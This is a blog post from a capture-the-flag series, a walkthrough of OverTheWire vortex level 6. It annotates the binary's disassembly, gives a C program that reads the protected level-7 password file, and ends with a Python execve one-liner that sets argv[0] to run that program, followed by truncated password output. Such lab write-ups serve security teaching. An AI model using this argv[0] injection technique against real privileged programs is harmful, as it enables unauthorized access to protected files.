Klaus' Log

So 03 Februar 2019

Overthewire vortex Wargame - Level 6

Posted by Klaus Eisentraut in ctf   

This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2, Level #3, Level #4, Level #5.

Level 6

Level #6 is the first one, where we are not supplied with the source code and have to reverse engineer what is happening. However, it's a rather easy executable and we simply reverse engineer it with objdump -M intel -S /vortex/vortex6.

First, we notice that there is only one function restart besides the main-function. This function calls execlp, so we reverse engineer it first. We might wonder what is stored in ebp+0x8. In the Linux x86 GCC calling convention it is simply the first (and only) argument to the restart-function.

0804847d <restart>:
 804847d:   55                      push   ebp
 804847e:   89 e5                   mov    ebp,esp
 8048480:   83 ec 18                sub    esp,0x18                 ; reserve 0x18 = 24 bytes on stack for local variables
 8048483:   c7 44 24 08 00 00 00    mov    DWORD PTR [esp+0x8],0x0  ; argument #3 to execlp is 0
 804848a:   00 
 804848b:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]  
 804848e:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax  ; argument #2 to execlp is ebp+0x8, which is the first argument of the function restart
 8048492:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]  ;
 8048495:   89 04 24                mov    DWORD PTR [esp],eax      ; argument #1 to execlp is ebp+0x8, which is the first argument of the function restart
 8048498:   e8 b3 fe ff ff          call   8048350 <execlp@plt>     ; execlp(i,i,0) where i is the argument to restart(i)
 804849d:   c9                      leave  
 804849e:   c3                      ret    

Actually, restart(i) simply calls execlp(i,i,0)! If we can call restart("/tmp/cat7") where cat7 is a program which reads the content of /etc/vortex_pass/vortex7, we will win immediately. So our first step is to build such a payload by writing a small C program:

/* cat7.c */
#include <stdio.h>
#include <unistd.h>

int main() {
    char c;
    FILE *file;
    file = fopen("/etc/vortex_pass/vortex7", "r");
    if (file) {
        while ((c = getc(file)) != EOF)
            putchar(c);
        fclose(file);
    }
}

We compile it with gcc -o /tmp/cat7 cat7.c.

All what is left is to do now is to figure out how exactly the main-function will call the restart-function. So let's take a look at its disassembly:

0804849f <main>:
 804849f:   55                      push   ebp
 80484a0:   89 e5                   mov    ebp,esp
 80484a2:   83 e4 f0                and    esp,0xfffffff0           ; align stack to 16 byte boundary
 80484a5:   83 ec 10                sub    esp,0x10                 ; reserve 0x10=16 bytes on stack
 80484a8:   8b 45 10                mov    eax,DWORD PTR [ebp+0x10] ; ebp+0x10 is the third argument to main
 80484ab:   8b 00                   mov    eax,DWORD PTR [eax]      ; dereference it
 80484ad:   85 c0                   test   eax,eax                  ; if it is 0, then 
 80484af:   74 0d                   je     80484be <main+0x1f>      ;                  jump to the end
 80484b1:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]  ; move the second argument to main into eax
 80484b4:   8b 00                   mov    eax,DWORD PTR [eax]      ; dereference it
 80484b6:   89 04 24                mov    DWORD PTR [esp],eax      ; and use it as argument for restart(...)!
 80484b9:   e8 bf ff ff ff          call   804847d <restart>
 80484be:   8b 45 10                mov    eax,DWORD PTR [ebp+0x10] ; uninteresting stuff below 
 80484c1:   83 c0 0c                add    eax,0xc
 80484c4:   8b 00                   mov    eax,DWORD PTR [eax]
 80484c6:   89 04 24                mov    DWORD PTR [esp],eax
 80484c9:   e8 62 fe ff ff          call   8048330 <printf@plt>
 80484ce:   c7 04 24 25 73 00 00    mov    DWORD PTR [esp],0x7325
 80484d5:   e8 66 fe ff ff          call   8048340 <_exit@plt>

In level #4, we already learned about the stack layout of the main-function. It looks like the following:

  • ebp+0x8 is the first argument to the main-function which is simply argc.
  • ebp+0xc is the second argument to the main-function. This is argv[0] and it is passed to the restart-function! We want to set this to /tmp/cat7.
  • ebp+0x10 is the third argument to the main-function which can be either argv[1] or the NULL which ends the argv array. In our main-function this is expected to be NULL. Therefore, argv[1] must not exist resp. the argv[] array must have a length of one.
  • The environment array envp[] is located at ebp+0x14 and following, but this is not read by our main-function and therefore uninteresting for us.

We are ready now, all we need to do is to execute it:

vortex6@vortex:~$ python -c 'import os; os.execve("/vortex/vortex6", ["/tmp/cat7"], os.environ)'
Y5[...snip...]t/